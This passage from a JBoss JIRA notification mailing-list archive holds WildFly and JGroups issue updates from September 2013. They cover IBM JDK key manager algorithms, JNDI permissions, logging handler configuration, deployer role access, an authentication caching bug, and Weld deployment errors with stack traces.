> The audit logging facility and a test case specify KeyManagerFactory.getInstance("SunX509"), which will not work on an IBM JVM.
> Googling around, it seems KeyManagerFactory.getDefaultAlgorithm() is the correct thing to use. I've tried that out and the testsuite at least passes with that.

--
This message is automatically generated by JIRA.
If you think it was sent incorrectly, please contact your JIRA administrators
For more information on JIRA, see: http://www.atlassian.com/software/jira

From jira-events at lists.jboss.org  Sat Sep 21 07:52:03 2013
From: jira-events at lists.jboss.org (Eduardo Martins (JIRA))
Date: Sat, 21 Sep 2013 07:52:03 -0400 (EDT)
Subject: [jboss-jira] [JBoss JIRA] (WFLY-2122) Additional Default EE JNDI
	Permissions
In-Reply-To: <JIRA.12501151.1379764275828@jira02.app.mwc.hst.phx2.redhat.com>
References: <JIRA.12501151.1379764275828@jira02.app.mwc.hst.phx2.redhat.com>
Message-ID: <JIRA.12501151.1379764275828.38258.1379764323372@jira02.app.mwc.hst.phx2.redhat.com>

Eduardo Martins created WFLY-2122:
-------------------------------------

             Summary: Additional Default EE JNDI Permissions
                 Key: WFLY-2122
                 URL: https://issues.jboss.org/browse/WFLY-2122
             Project: WildFly
          Issue Type: Bug
          Components: EE, Naming
            Reporter: Eduardo Martins
            Assignee: Eduardo Martins


The default jndi permissions allows reads on several contexts/namespaces childs, for instance entries in java:module, but that is done using the /- wildcard, which does not includes the base context/namespace. This means that a lookup of java:module is not allowed.

--
This message is automatically generated by JIRA.
If you think it was sent incorrectly, please contact your JIRA administrators
For more information on JIRA, see: http://www.atlassian.com/software/jira

From jira-events at lists.jboss.org  Sat Sep 21 11:28:03 2013
From: jira-events at lists.jboss.org (David Lloyd (JIRA))
Date: Sat, 21 Sep 2013 11:28:03 -0400 (EDT)
Subject: [jboss-jira] [JBoss JIRA] (WFLY-989) When deploying an ear file, VFS
In-Reply-To: <JIRA.12463919.1334285294000@jira02.app.mwc.hst.phx2.redhat.com>
References: <JIRA.12463919.1334285294000@jira02.app.mwc.hst.phx2.redhat.com>
Message-ID: <JIRA.12463919.1334285294000.38262.1379777283360@jira02.app.mwc.hst.phx2.redhat.com>


     [ https://issues.jboss.org/browse/WFLY-989?page=com.atlassian.jira.plugin.system.issuetabpanels:all-tabpanel ]

David Lloyd resolved WFLY-989.
------------------------------

    Resolution: Cannot Reproduce Bug

    
> When deploying an ear file, VFS 
> --------------------------------
>
>                 Key: WFLY-989
>                 URL: https://issues.jboss.org/browse/WFLY-989
>             Project: WildFly
>          Issue Type: Bug
>          Components: Class Loading, VFS
>            Reporter: Thomas Smith
>            Assignee: David Lloyd
>
> When resolving classpath entries in an ear file the org.jboss.as.server.deployment.module.ManifestClassPathProcessor calls resourceRoot.getRoot().getParent(), which returns an incorrect path (bin/content); causing it to not find the classpath jars.

--
This message is automatically generated by JIRA.
If you think it was sent incorrectly, please contact your JIRA administrators
For more information on JIRA, see: http://www.atlassian.com/software/jira

From jira-events at lists.jboss.org  Sat Sep 21 17:12:03 2013
From: jira-events at lists.jboss.org (RH Bugzilla Integration (JIRA))
Date: Sat, 21 Sep 2013 17:12:03 -0400 (EDT)
Subject: [jboss-jira] [JBoss JIRA] (WFLY-2113)
 NamingBindingResourceDefinition attribute validation
In-Reply-To: <JIRA.12501022.1379599096000@jira02.app.mwc.hst.phx2.redhat.com>
References: <JIRA.12501022.1379599096000@jira02.app.mwc.hst.phx2.redhat.com>
Message-ID: <JIRA.12501022.1379599096000.38284.1379797923453@jira02.app.mwc.hst.phx2.redhat.com>


    [ https://issues.jboss.org/browse/WFLY-2113?page=com.atlassian.jira.plugin.system.issuetabpanels:comment-tabpanel&focusedCommentId=12806251#comment-12806251 ] 

RH Bugzilla Integration commented on WFLY-2113:
-----------------------------------------------

Brian Stansberry <brian.stansberry at redhat.com> changed the Status of [bug 1006206|https://bugzilla.redhat.com/show_bug.cgi?id=1006206] from POST to MODIFIED
                
> NamingBindingResourceDefinition attribute validation
> ----------------------------------------------------
>
>                 Key: WFLY-2113
>                 URL: https://issues.jboss.org/browse/WFLY-2113
>             Project: WildFly
>          Issue Type: Feature Request
>          Components: Naming
>            Reporter: Eduardo Martins
>            Assignee: Eduardo Martins
>             Fix For: 8.0.0.Beta1
>
>
> Missing attribute validation may end up on an invalid naming subsystem config, which then prevents server start. For instance it is possible to use the CLI to add a simple binding without value defined, or change an existing resource value attribute to null.

--
This message is automatically generated by JIRA.
If you think it was sent incorrectly, please contact your JIRA administrators
For more information on JIRA, see: http://www.atlassian.com/software/jira

From jira-events at lists.jboss.org  Sat Sep 21 17:12:03 2013
From: jira-events at lists.jboss.org (RH Bugzilla Integration (JIRA))
Date: Sat, 21 Sep 2013 17:12:03 -0400 (EDT)
Subject: [jboss-jira] [JBoss JIRA] (WFLY-2093) No any log generated after
 changing periodic-rotating-file-handler to size-rotating-file-handler
In-Reply-To: <JIRA.12500810.1379401775000@jira02.app.mwc.hst.phx2.redhat.com>
References: <JIRA.12500810.1379401775000@jira02.app.mwc.hst.phx2.redhat.com>
Message-ID: <JIRA.12500810.1379401775000.38290.1379797923765@jira02.app.mwc.hst.phx2.redhat.com>


    [ https://issues.jboss.org/browse/WFLY-2093?page=com.atlassian.jira.plugin.system.issuetabpanels:comment-tabpanel&focusedCommentId=12806252#comment-12806252 ] 

RH Bugzilla Integration commented on WFLY-2093:
-----------------------------------------------

Brian Stansberry <brian.stansberry at redhat.com> changed the Status of [bug 1008806|https://bugzilla.redhat.com/show_bug.cgi?id=1008806] from POST to MODIFIED
                
> No any log generated after changing periodic-rotating-file-handler to size-rotating-file-handler
> ------------------------------------------------------------------------------------------------
>
>                 Key: WFLY-2093
>                 URL: https://issues.jboss.org/browse/WFLY-2093
>             Project: WildFly
>          Issue Type: Bug
>          Components: Logging
>            Reporter: Xiaohui Wu
>            Assignee: James Perkins
>
> There is no any log in the server.log after changing periodic-rotating-file-handler to size-rotating-file-handler.
> The reproduce steps:
> 1. remove the part periodic-rotating-file-handler in standalone.xml
>             <periodic-rotating-file-handler name="FILE">
>                 <formatter>
>                     <pattern-formatter pattern="%d{HH:mm:ss.SSS} %-5p [%c] (%t) %s%E%n"/>
>                 </formatter>
>                 <file relative-to="jboss.server.log.dir" path="server.log"/>
>                 <suffix value=".yyyy-MM-dd"/>
>                 <append value="true"/>
>             </periodic-rotating-file-handler>
> 2. add one size-rotating-file-handler
>             <size-rotating-file-handler name="FILE" autoflush="true">
>                 <formatter>
>                     <pattern-formatter pattern="%d{HH:mm:ss,SSS} %-5p (%c) [%t] %s%E%n"/>
>                 </formatter>
>                 <file relative-to="jboss.server.log.dir" path="server.log"/>
>                 <rotate-size value="500k"/>
>                 <max-backup-index value="15"/>
>                 <append value="true"/>
>             </size-rotating-file-handler>
> 3. start the jboss server, then you will see there is a warning in the server.log and no any further logs in the server.log.
> 13:23:28,205 WARN  [org.jboss.as.logging] (Controller Boot Thread) JBAS011511: Replacing handler 'FILE' during add operation. Either the handler type or the module name differs from the initial configuration.
> The possible fix: 
> https://issues.jboss.org/browse/WFLY-178 the code change is in https://github.com/wildfly/wildfly/pull/4137 
> and the bugzilla is in EAP6.1.0: 
> https://bugzilla.redhat.com/show_bug.cgi?id=918103
> But this issue still exists in 6.1.1
> Best Regards,
> Vicky

--
This message is automatically generated by JIRA.
If you think it was sent incorrectly, please contact your JIRA administrators
For more information on JIRA, see: http://www.atlassian.com/software/jira

From jira-events at lists.jboss.org  Sat Sep 21 18:52:03 2013
From: jira-events at lists.jboss.org (Brian Stansberry (JIRA))
Date: Sat, 21 Sep 2013 18:52:03 -0400 (EDT)
Subject: [jboss-jira] [JBoss JIRA] (WFLY-1916) Deployer role within domain
In-Reply-To: <JIRA.12499073.1377090124000@jira02.app.mwc.hst.phx2.redhat.com>
References: <JIRA.12499073.1377090124000@jira02.app.mwc.hst.phx2.redhat.com>
Message-ID: <JIRA.12499073.1377090124000.38294.1379803923434@jira02.app.mwc.hst.phx2.redhat.com>


    [ https://issues.jboss.org/browse/WFLY-1916?page=com.atlassian.jira.plugin.system.issuetabpanels:comment-tabpanel&focusedCommentId=12806253#comment-12806253 ] 

Brian Stansberry commented on WFLY-1916:
----------------------------------------

Note that Deployer does not need write access to 

/server-group=*

It only needs read access at that level.

It does need write access to some child resources:

/server-group=*/deployment=*
/server-group=*/deployment-overlay=*

                
> Deployer role within domain
> ---------------------------
>
>                 Key: WFLY-1916
>                 URL: https://issues.jboss.org/browse/WFLY-1916
>             Project: WildFly
>          Issue Type: Sub-task
>          Components: Domain Management
>            Reporter: Heiko Braun
>            Assignee: Brian Stansberry
>             Fix For: 8.0.0.Beta1
>
>
> There seems to be a problem with the deplyer role within the domain. In order to operate on doamin deployments, the deplyer requires write access to:
> a) /server-group=*
> b) /deployment=*
> But currently only the later seems to be given. This basically reduces the deployer role to just the abillity to upload contents, but not assign them to server-groups.

--
This message is automatically generated by JIRA.
If you think it was sent incorrectly, please contact your JIRA administrators
For more information on JIRA, see: http://www.atlassian.com/software/jira

From jira-events at lists.jboss.org  Sat Sep 21 19:43:03 2013
From: jira-events at lists.jboss.org (Paul Ferraro (JIRA))
Date: Sat, 21 Sep 2013 19:43:03 -0400 (EDT)
Subject: [jboss-jira] [JBoss JIRA] (WFLY-2123) Upgrade Infinispan to
	6.0.0.Beta1
In-Reply-To: <JIRA.12501153.1379806946097@jira02.app.mwc.hst.phx2.redhat.com>
References: <JIRA.12501153.1379806946097@jira02.app.mwc.hst.phx2.redhat.com>
Message-ID: <JIRA.12501153.1379806946097.38298.1379806983457@jira02.app.mwc.hst.phx2.redhat.com>

Paul Ferraro created WFLY-2123:
----------------------------------

             Summary: Upgrade Infinispan to 6.0.0.Beta1
                 Key: WFLY-2123
                 URL: https://issues.jboss.org/browse/WFLY-2123
             Project: WildFly
          Issue Type: Component  Upgrade
          Components: Clustering
    Affects Versions: 8.0.0.Alpha4
            Reporter: Paul Ferraro
            Assignee: Paul Ferraro
             Fix For: 8.0.0.Beta1




--
This message is automatically generated by JIRA.
If you think it was sent incorrectly, please contact your JIRA administrators
For more information on JIRA, see: http://www.atlassian.com/software/jira

From jira-events at lists.jboss.org  Sat Sep 21 19:45:03 2013
From: jira-events at lists.jboss.org (Brian Stansberry (JIRA))
Date: Sat, 21 Sep 2013 19:45:03 -0400 (EDT)
Subject: [jboss-jira] [JBoss JIRA] (WFLY-2121) Audit logging doesn't work
	with IBM JDK
In-Reply-To: <JIRA.12501144.1379715912000@jira02.app.mwc.hst.phx2.redhat.com>
References: <JIRA.12501144.1379715912000@jira02.app.mwc.hst.phx2.redhat.com>
Message-ID: <JIRA.12501144.1379715912000.38301.1379807103552@jira02.app.mwc.hst.phx2.redhat.com>


     [ https://issues.jboss.org/browse/WFLY-2121?page=com.atlassian.jira.plugin.system.issuetabpanels:all-tabpanel ]

Brian Stansberry updated WFLY-2121:
-----------------------------------

    Assignee: Brian Stansberry  (was: Kabir Khan)

    
> Audit logging doesn't work with IBM JDK
> ---------------------------------------
>
>                 Key: WFLY-2121
>                 URL: https://issues.jboss.org/browse/WFLY-2121
>             Project: WildFly
>          Issue Type: Sub-task
>          Components: Domain Management
>            Reporter: Brian Stansberry
>            Assignee: Brian Stansberry
>            Priority: Critical
>             Fix For: 8.0.0.Beta1
>
>
> The audit logging facility and a test case specify KeyManagerFactory.getInstance("SunX509"), which will not work on an IBM JVM.
> Googling around, it seems KeyManagerFactory.getDefaultAlgorithm() is the correct thing to use. I've tried that out and the testsuite at least passes with that.

--
This message is automatically generated by JIRA.
If you think it was sent incorrectly, please contact your JIRA administrators
For more information on JIRA, see: http://www.atlassian.com/software/jira

From jira-events at lists.jboss.org  Sun Sep 22 02:46:03 2013
From: jira-events at lists.jboss.org (Darran Lofthouse (JIRA))
Date: Sun, 22 Sep 2013 02:46:03 -0400 (EDT)
Subject: [jboss-jira] [JBoss JIRA] (WFLY-2124) Revisit LDAP testing within
	the testsuite.
In-Reply-To: <JIRA.12501154.1379832354646@jira02.app.mwc.hst.phx2.redhat.com>
References: <JIRA.12501154.1379832354646@jira02.app.mwc.hst.phx2.redhat.com>
Message-ID: <JIRA.12501154.1379832354646.38307.1379832363534@jira02.app.mwc.hst.phx2.redhat.com>

Darran Lofthouse created WFLY-2124:
--------------------------------------

             Summary: Revisit LDAP testing within the testsuite.
                 Key: WFLY-2124
                 URL: https://issues.jboss.org/browse/WFLY-2124
             Project: WildFly
          Issue Type: Task
          Components: Test Suite
            Reporter: Darran Lofthouse
            Assignee: Darran Lofthouse
             Fix For: 8.0.0.Beta1


We currently use ApacheDS in multiple locations within the testsuite.

Unfortunately in many places this has led to some quite in-depth sections of code being added to work around issues found with the LDAP server.  The problem then is that as we are only using a milestone release upgrades cause API changes making this entire block of code subject to further modifications.

Domain management unit testing is using a custom schema which fails to load with the older M7 version so is using M15 on it's own.

All interaction with ApacheDS should be split into it's own module that can then be used both by unit tests within domain management and elsehwere in the testsuite.  Interaction should also use the simplest method possible to initialise the server so that future version upgrades will be easier.

--
This message is automatically generated by JIRA.
If you think it was sent incorrectly, please contact your JIRA administrators
For more information on JIRA, see: http://www.atlassian.com/software/jira

From jira-events at lists.jboss.org  Sun Sep 22 06:46:03 2013
From: jira-events at lists.jboss.org (RH Bugzilla Integration (JIRA))
Date: Sun, 22 Sep 2013 06:46:03 -0400 (EDT)
Subject: [jboss-jira] [JBoss JIRA] (WFLY-2049) Logging in as user with
 scoped role right after log out will mess up Authentication
In-Reply-To: <JIRA.12500493.1378899069000@jira02.app.mwc.hst.phx2.redhat.com>
References: <JIRA.12500493.1378899069000@jira02.app.mwc.hst.phx2.redhat.com>
Message-ID: <JIRA.12500493.1378899069000.38320.1379846763981@jira02.app.mwc.hst.phx2.redhat.com>


     [ https://issues.jboss.org/browse/WFLY-2049?page=com.atlassian.jira.plugin.system.issuetabpanels:all-tabpanel ]

RH Bugzilla Integration updated WFLY-2049:
------------------------------------------

        Bugzilla Update: Perform
    Bugzilla References: https://bugzilla.redhat.com/show_bug.cgi?id=1010662

    
> Logging  in as user with scoped role right after log out will mess up Authentication 
> -------------------------------------------------------------------------------------
>
>                 Key: WFLY-2049
>                 URL: https://issues.jboss.org/browse/WFLY-2049
>             Project: WildFly
>          Issue Type: Bug
>            Reporter: Jakub Cechacek
>            Assignee: Darran Lofthouse
>            Priority: Blocker
>              Labels: rbac-filed-by-qa
>             Fix For: 8.0.0.Beta1
>
>
> It seems as some cache is not invalidated after logging in as user with scoped role. Logging as such user will cause page refresh to randomly switch between last 2 logged in users.
> when I log in as  user with non-scoped role and then switch (log out -> log in) as user with scoped role, refreshing the page will randomly switch between those users.

--
This message is automatically generated by JIRA.
If you think it was sent incorrectly, please contact your JIRA administrators
For more information on JIRA, see: http://www.atlassian.com/software/jira

From jira-events at lists.jboss.org  Sun Sep 22 10:13:03 2013
From: jira-events at lists.jboss.org (RH Bugzilla Integration (JIRA))
Date: Sun, 22 Sep 2013 10:13:03 -0400 (EDT)
Subject: [jboss-jira] [JBoss JIRA] (WFLY-1971) Add rotate-on-boot attribute
 to size-rotating-file-handler
In-Reply-To: <JIRA.12499642.1377791105000@jira02.app.mwc.hst.phx2.redhat.com>
References: <JIRA.12499642.1377791105000@jira02.app.mwc.hst.phx2.redhat.com>
Message-ID: <JIRA.12499642.1377791105000.38354.1379859183519@jira02.app.mwc.hst.phx2.redhat.com>


    [ https://issues.jboss.org/browse/WFLY-1971?page=com.atlassian.jira.plugin.system.issuetabpanels:comment-tabpanel&focusedCommentId=12806266#comment-12806266 ] 

RH Bugzilla Integration commented on WFLY-1971:
-----------------------------------------------

Brian Stansberry <brian.stansberry at redhat.com> changed the Status of [bug 999665|https://bugzilla.redhat.com/show_bug.cgi?id=999665] from POST to MODIFIED
                
> Add rotate-on-boot attribute to size-rotating-file-handler
> ----------------------------------------------------------
>
>                 Key: WFLY-1971
>                 URL: https://issues.jboss.org/browse/WFLY-1971
>             Project: WildFly
>          Issue Type: Feature Request
>          Components: Logging
>            Reporter: James Perkins
>            Assignee: James Perkins
>
> Add {{rotate-on-boot}} attribute to the {{size-rotating-file-handler}}. Property available in JBoss LogManger 1.5+.

--
This message is automatically generated by JIRA.
If you think it was sent incorrectly, please contact your JIRA administrators
For more information on JIRA, see: http://www.atlassian.com/software/jira

From jira-events at lists.jboss.org  Sun Sep 22 11:52:03 2013
From: jira-events at lists.jboss.org (shen kim (JIRA))
Date: Sun, 22 Sep 2013 11:52:03 -0400 (EDT)
Subject: [jboss-jira] [JBoss JIRA] (JGRP-1703) CheckFDMonitor.eval may be
	reversed
In-Reply-To: <JIRA.12501158.1379865036726@jira02.app.mwc.hst.phx2.redhat.com>
References: <JIRA.12501158.1379865036726@jira02.app.mwc.hst.phx2.redhat.com>
Message-ID: <JIRA.12501158.1379865036726.38381.1379865123397@jira02.app.mwc.hst.phx2.redhat.com>

shen kim created JGRP-1703:
------------------------------

             Summary: CheckFDMonitor.eval may be reversed
                 Key: JGRP-1703
                 URL: https://issues.jboss.org/browse/JGRP-1703
             Project: JGroups
          Issue Type: Bug
         Environment: 3.4.0.Alpha2
            Reporter: shen kim
            Assignee: Bela Ban


When eval return true, the trigger method will be invoke.
But the implemention in CheckFDMonitor:
public boolean eval() {
return sv.getView() != null && sv.getView().size() > 1 && !fd.isMonitorRunning();
}
It may be reversed.

--
This message is automatically generated by JIRA.
If you think it was sent incorrectly, please contact your JIRA administrators
For more information on JIRA, see: http://www.atlassian.com/software/jira

From jira-events at lists.jboss.org  Sun Sep 22 14:50:04 2013
From: jira-events at lists.jboss.org (Ricardo Garcia (JIRA))
Date: Sun, 22 Sep 2013 14:50:04 -0400 (EDT)
Subject: [jboss-jira] [JBoss JIRA] (WFLY-1992) Invalid deployment in WildFly
 8 - Errai, Weld, TicketMonster
In-Reply-To: <JIRA.12499827.1378213572000@jira02.app.mwc.hst.phx2.redhat.com>
References: <JIRA.12499827.1378213572000@jira02.app.mwc.hst.phx2.redhat.com>
Message-ID: <JIRA.12499827.1378213572000.38401.1379875804240@jira02.app.mwc.hst.phx2.redhat.com>


    [ https://issues.jboss.org/browse/WFLY-1992?page=com.atlassian.jira.plugin.system.issuetabpanels:comment-tabpanel&focusedCommentId=12806290#comment-12806290 ] 

Ricardo Garcia commented on WFLY-1992:
--------------------------------------

I got the same problem when trying to install JBoss BRMS on wildfly-8.0.0.Alpha4. So, exactly, how do I fix (or work around) this error?

Also, I checked the Wildfly 8 and this is where weld is installed:

C:\wildfly-8.0.0.Alpha4\modules\system\layers\base\org\jboss\as\jsf-injection\main\weld-core-jsf-2.0.3.Final.jar
C:\wildfly-8.0.0.Alpha4\modules\system\layers\base\org\jboss\weld\api\main\weld-api-2.0.SP1.jar
C:\wildfly-8.0.0.Alpha4\modules\system\layers\base\org\jboss\weld\core\main\weld-core-impl-2.0.3.Final.jar
C:\wildfly-8.0.0.Alpha4\modules\system\layers\base\org\jboss\weld\spi\main\weld-spi-2.0.SP1.jar

So it appears that my Wildfly build already has Weld 2.0.3, so I'm confused now. Should I report this in the weld project, or is it a BRMS problem, or is it a WildFly problem?

I'm attaching the log.

-------------
13:37:16,320 ERROR [org.jboss.msc.service.fail] (MSC service thread 1-2) MSC000001: Failed to start service jboss.deployment.unit."jboss-brms.war".component."org.apache.cxf.transport.http.Servlet3ContinuationProvider$Servlet3Continuation".WeldInstantiator: org.jboss.msc.service.StartException in service jboss.deployment.unit."jboss-brms.war".component."org.apache.cxf.transport.http.Servlet3ContinuationProvider$Servlet3Continuation".WeldInstantiator: Failed to start service
	at org.jboss.msc.service.ServiceControllerImpl$StartTask.run(ServiceControllerImpl.java:1900) [jboss-msc-1.2.0.Beta2.jar:1.2.0.Beta2]
	at java.util.concurrent.ThreadPoolExecutor.runWorker(Unknown Source) [rt.jar:1.7.0_21]
	at java.util.concurrent.ThreadPoolExecutor$Worker.run(Unknown Source) [rt.jar:1.7.0_21]
	at java.lang.Thread.run(Unknown Source) [rt.jar:1.7.0_21]
Caused by: org.jboss.weld.exceptions.DefinitionException: WELD-000070 Simple bean [EnhancedAnnotatedTypeImpl] public  class org.apache.cxf.transport.http.Servlet3ContinuationProvider$Servlet3Continuation cannot be a non-static inner class
	at org.jboss.weld.injection.producer.BasicInjectionTarget.checkType(BasicInjectionTarget.java:81)
	at org.jboss.weld.injection.producer.BasicInjectionTarget.<init>(BasicInjectionTarget.java:69)
	at org.jboss.as.weld.injection.NonContextualComponentInjectionTarget.<init>(NonContextualComponentInjectionTarget.java:48)
	at org.jboss.as.weld.injection.NonContextualComponentInjectionTarget.<init>(NonContextualComponentInjectionTarget.java:44)
	at org.jboss.as.weld.injection.WeldComponentService.start(WeldComponentService.java:129)
	at org.jboss.msc.service.ServiceControllerImpl$StartTask.startService(ServiceControllerImpl.java:1944) [jboss-msc-1.2.0.Beta2.jar:1.2.0.Beta2]
	at org.jboss.msc.service.ServiceControllerImpl$StartTask.run(ServiceControllerImpl.java:1877) [jboss-msc-1.2.0.Beta2.jar:1.2.0.Beta2]
	... 3 more


                
> Invalid deployment in WildFly 8 - Errai, Weld, TicketMonster
> ------------------------------------------------------------
>
>                 Key: WFLY-1992
>                 URL: https://issues.jboss.org/browse/WFLY-1992
>             Project: WildFly
>          Issue Type: Bug
>            Reporter: Emmanuel Bernard
>
> I am deploying TicketMonster which includes Errai and receives a deployment error that is not happening in JBoss AS 7.x nor EAP 6.x.
> Note that it could be
> - a WildFly error per se
> - a Weld error or change
> - an Errai error
> I am opening the issue here to track the problem down to its cause.
> {code}
> 15:00:17,818 INFO  [org.jboss.errai.cdi.server.CDIExtensionPoints] (MSC service thread 1-5) starting errai cdi ...
> 15:00:18,731 INFO  [org.jboss.errai.reflections.Reflections] (Thread-106) Reflections took 346 ms to scan 7 urls, producing 387 keys and 1384 values [using 2 cores]
> 15:00:18,815 WARN  [org.jboss.weld.Bean] (MSC service thread 1-5) WELD-001529 An InjectionTarget is created for a class org.jboss.errai.bus.server.service.ErraiServiceImpl which does not have any appropriate constructor.
> 15:00:18,828 INFO  [org.jboss.errai.cdi.server.CDIExtensionPoints] (pool-20-thread-1) all services registered successfully
> 15:00:18,928 WARN  [org.jboss.weld.Bootstrap] (weld-worker-2) WELD-001473 javax.enterprise.inject.spi.Bean implementation org.jboss.errai.cdi.server.ErraiServiceBean at 7adf1c57 declared a normal scope but does not implement javax.enterprise.inject.spi.PassivationCapable. It won't be possible to inject this bean into a bean with passivating scope (@SessionScoped, @ConversationScoped). This can be fixed by assigning the Bean implementation a unique id by implementing the PassivationCapable interface.
> 15:00:18,928 WARN  [org.jboss.weld.Bootstrap] (weld-worker-3) WELD-001473 javax.enterprise.inject.spi.Bean implementation org.jboss.errai.cdi.server.MessageBusBean at 19b6b8f5 declared a normal scope but does not implement javax.enterprise.inject.spi.PassivationCapable. It won't be possible to inject this bean into a bean with passivating scope (@SessionScoped, @ConversationScoped). This can be fixed by assigning the Bean implementation a unique id by implementing the PassivationCapable interface.
> 15:00:18,945 ERROR [org.jboss.msc.service.fail] (MSC service thread 1-2) MSC000001: Failed to start service jboss.deployment.unit."ticket-monster.war".component."org.jboss.errai.bus.server.servlet.StandardAsyncServlet$1".WeldInstantiator: org.jboss.msc.service.StartException in service jboss.deployment.unit."ticket-monster.war".component."org.jboss.errai.bus.server.servlet.StandardAsyncServlet$1".WeldInstantiator: Failed to start service
> 	at org.jboss.msc.service.ServiceControllerImpl$StartTask.run(ServiceControllerImpl.java:1900) [jboss-msc-1.2.0.Beta2.jar:1.2.0.Beta2]
> 	at java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1145) [rt.jar:1.7.0_21]
> 	at java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:615) [rt.jar:1.7.0_21]
> 	at java.lang.Thread.run(Thread.java:722) [rt.jar:1.7.0_21]
> Caused by: org.jboss.weld.exceptions.DefinitionException: WELD-000070 Simple bean [EnhancedAnnotatedTypeImpl]  class org.jboss.errai.bus.server.servlet.StandardAsyncServlet$1 cannot be a non-static inner class
> 	at org.jboss.weld.injection.producer.BasicInjectionTarget.checkType(BasicInjectionTarget.java:81)
> 	at org.jboss.weld.injection.producer.BasicInjectionTarget.<init>(BasicInjectionTarget.java:69)
> 	at org.jboss.as.weld.injection.NonContextualComponentInjectionTarget.<init>(NonContextualComponentInjectionTarget.java:48)
> 	at org.jboss.as.weld.injection.NonContextualComponentInjectionTarget.<init>(NonContextualComponentInjectionTarget.java:44)
> 	at org.jboss.as.weld.injection.WeldComponentService.start(WeldComponentService.java:129)
> 	at org.jboss.msc.service.ServiceControllerImpl$StartTask.startService(ServiceControllerImpl.java:1944) [jboss-msc-1.2.0.Beta2.jar:1.2.0.Beta2]
> 	at org.jboss.msc.service.ServiceControllerImpl$StartTask.run(ServiceControllerImpl.java:1877) [jboss-msc-1.2.0.Beta2.jar:1.2.0.Beta2]
> 	... 3 more
> 15:00:18,975 ERROR [org.jboss.as.controller.management-operation] (DeploymentScanner-threads - 1) JBAS014613: Operation ("deploy") failed - address: ([("deployment" => "ticket-monster.war")]) - failure description: {"JBAS014671: Failed services" => {"jboss.deployment.unit.\"ticket-monster.war\".component.\"org.jboss.errai.bus.server.servlet.StandardAsyncServlet$1\".WeldInstantiator" => "org.jboss.msc.service.StartException in service jboss.deployment.unit.\"ticket-monster.war\".component.\"org.jboss.errai.bus.server.servlet.StandardAsyncServlet$1\".WeldInstantiator: Failed to start service
>     Caused by: org.jboss.weld.exceptions.DefinitionException: WELD-000070 Simple bean [EnhancedAnnotatedTypeImpl]  class org.jboss.errai.bus.server.servlet.StandardAsyncServlet$1 cannot be a non-static inner class"}}
> 15:00:18,977 ERROR [org.jboss.as.server] (DeploymentScanner-threads - 1) JBAS015870: Deploy of deployment "ticket-monster.war" was rolled back with the following failure message: 
> {"JBAS014671: Failed services" => {"jboss.deployment.unit.\"ticket-monster.war\".component.\"org.jboss.errai.bus.server.servlet.StandardAsyncServlet$1\".WeldInstantiator" => "org.jboss.msc.service.StartException in service jboss.deployment.unit.\"ticket-monster.war\".component.\"org.jboss.errai.bus.server.servlet.StandardAsyncServlet$1\".WeldInstantiator: Failed to start service
>     Caused by: org.jboss.weld.exceptions.DefinitionException: WELD-000070 Simple bean [EnhancedAnnotatedTypeImpl]  class org.jboss.errai.bus.server.servlet.StandardAsyncServlet$1 cannot be a non-static inner class"}}
> 15:00:18,986 INFO  [org.jboss.as.jpa] (ServerService Thread Pool -- 73) JBAS011410: Stopping Persistence Unit (phase 2 of 2) Service 'ticket-monster.war#primary'
> 15:00:18,987 INFO  [org.hibernate.tool.hbm2ddl.SchemaExport] (ServerService Thread Pool -- 73) HHH000227: Running hbm2ddl schema export
> 15:00:19,004 INFO  [org.hibernate.tool.hbm2ddl.SchemaExport] (ServerService Thread Pool -- 73) HHH000230: Schema export complete
> 15:00:19,007 INFO  [org.jboss.weld.deployer] (MSC service thread 1-4) JBAS016009: Stopping weld service for deployment ticket-monster.war
> 15:00:19,021 INFO  [org.jboss.as.jpa] (ServerService Thread Pool -- 73) JBAS011410: Stopping Persistence Unit (phase 1 of 2) Service 'ticket-monster.war#primary'
> 15:00:19,022 INFO  [org.jboss.as.connector.subsystems.datasources] (MSC service thread 1-6) JBAS010409: Unbound data source [java:jboss/datasources/ticket-monsterDS]
> 15:00:19,050 INFO  [org.jboss.as.server.deployment] (MSC service thread 1-4) JBAS015877: Stopped deployment ticket-monster.war (runtime-name: ticket-monster.war) in 72ms
> 15:00:19,052 INFO  [org.jboss.as.controller] (DeploymentScanner-threads - 1) JBAS014774: Service status report
> JBAS014775:    New missing/unsatisfied dependencies:
>       service jboss.deployment.unit."ticket-monster.war".component."javax.servlet.jsp.jstl.tlv.ScriptFreeTLV".START (missing) dependents: [service jboss.deployment.unit."ticket-monster.war".deploymentCompleteService, service jboss.undertow.deployment.default-host./ticket-monster] 
> JBAS014776:    Newly corrected services:
>       service jboss.deployment.unit."ticket-monster.war".ee.ComponentRegistry (no longer required)
> JBAS014777:   Services which failed to start:      service jboss.deployment.unit."ticket-monster.war".component."org.jboss.errai.bus.server.servlet.StandardAsyncServlet$1".WeldInstantiator
> {code}

--
This message is automatically generated by JIRA.
If you think it was sent incorrectly, please contact your JIRA administrators
For more information on JIRA, see: http://www.atlassian.com/software/jira

From jira-events at lists.jboss.org  Sun Sep 22 14:54:03 2013
From: jira-events at lists.jboss.org (Ricardo Garcia (JIRA))
Date: Sun, 22 Sep 2013 14:54:03 -0400 (EDT)
Subject: [jboss-jira] [JBoss JIRA] (WFLY-1992) Invalid deployment in WildFly
 8 - Errai, Weld, TicketMonster
In-Reply-To: <JIRA.12499827.1378213572000@jira02.app.mwc.hst.phx2.redhat.com>
References: <JIRA.12499827.1378213572000@jira02.app.mwc.hst.phx2.redhat.com>
Message-ID: <JIRA.12499827.1378213572000.38403.1379876043388@jira02.app.mwc.hst.phx2.redhat.com>


    [ https://issues.jboss.org/browse/WFLY-1992?page=com.atlassian.jira.plugin.system.issuetabpanels:comment-tabpanel&focusedCommentId=12806290#comment-12806290 ] 

Ricardo Garcia edited comment on WFLY-1992 at 9/22/13 2:53 PM:
---------------------------------------------------------------

I got the same (or a very similar) problem when trying to install JBoss BRMS on wildfly-8.0.0.Alpha4. So, exactly, how do I fix (or work around) this error?

Also, I checked the Wildfly 8 and this is where weld is installed:

C:\wildfly-8.0.0.Alpha4\modules\system\layers\base\org\jboss\as\jsf-injection\main\weld-core-jsf-2.0.3.Final.jar
C:\wildfly-8.0.0.Alpha4\modules\system\layers\base\org\jboss\weld\api\main\weld-api-2.0.SP1.jar
C:\wildfly-8.0.0.Alpha4\modules\system\layers\base\org\jboss\weld\core\main\weld-core-impl-2.0.3.Final.jar
